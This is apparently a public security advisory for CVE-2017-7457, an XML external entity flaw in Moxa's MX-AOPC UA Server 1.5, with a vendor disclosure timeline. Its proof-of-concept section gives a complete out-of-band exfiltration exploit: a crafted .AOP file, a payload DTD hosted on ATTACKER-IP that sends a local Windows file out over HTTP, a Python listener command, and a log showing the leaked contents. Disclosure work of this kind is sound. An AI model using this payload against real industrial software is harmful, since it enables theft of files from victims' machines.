Moxa MX-AOPC UA Server 1.5 XML Injection

`[+] Credits: John Page AKA HYP3RLINX   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
============  
www.moxa.com  
  
  
  
Product:  
=======================  
MX-AOPC UA SERVER - 1.5  
  
Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial automation supporting both push and pull communication.  
  
  
  
Vulnerability Type:  
==============================  
XML External Entity Injection  
  
  
  
CVE Reference:  
==============  
CVE-2017-7457  
  
  
  
Security Issue:  
================  
XML External Entity via ".AOP" files used by MX-AOPC Server result in remote file disclosure. If local user opens  
a specially crafted malicious MX-AOPC Server file type.  
  
  
  
Exploit/POC:  
=============  
run MX-AOPC UA Server / Runtime / Start Server Runtime Service   
  
a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of concept  
python -m SimpleHTTPServer 8080  
  
"Evil.AOP" file  
  
<?xml version="1.0"?>   
<!DOCTYPE roottag [   
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">  
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
b) Evil "payload.dtd" file host on ATTACKER SERVER  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">  
%all;  
  
  
e.g.  
  
python -m SimpleHTTPServer 8080  
  
Serving HTTP on 0.0.0.0 port 8080 ...  
  
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -  
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?" HTTP/1.1" 200 -  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
==========================================================  
Vendor Notification: March 5, 2017  
Vendor confirms vulnerability : March 21, 2017  
Vendor "updated firmware April 7, 2017" : March 29, 2017  
April 9, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`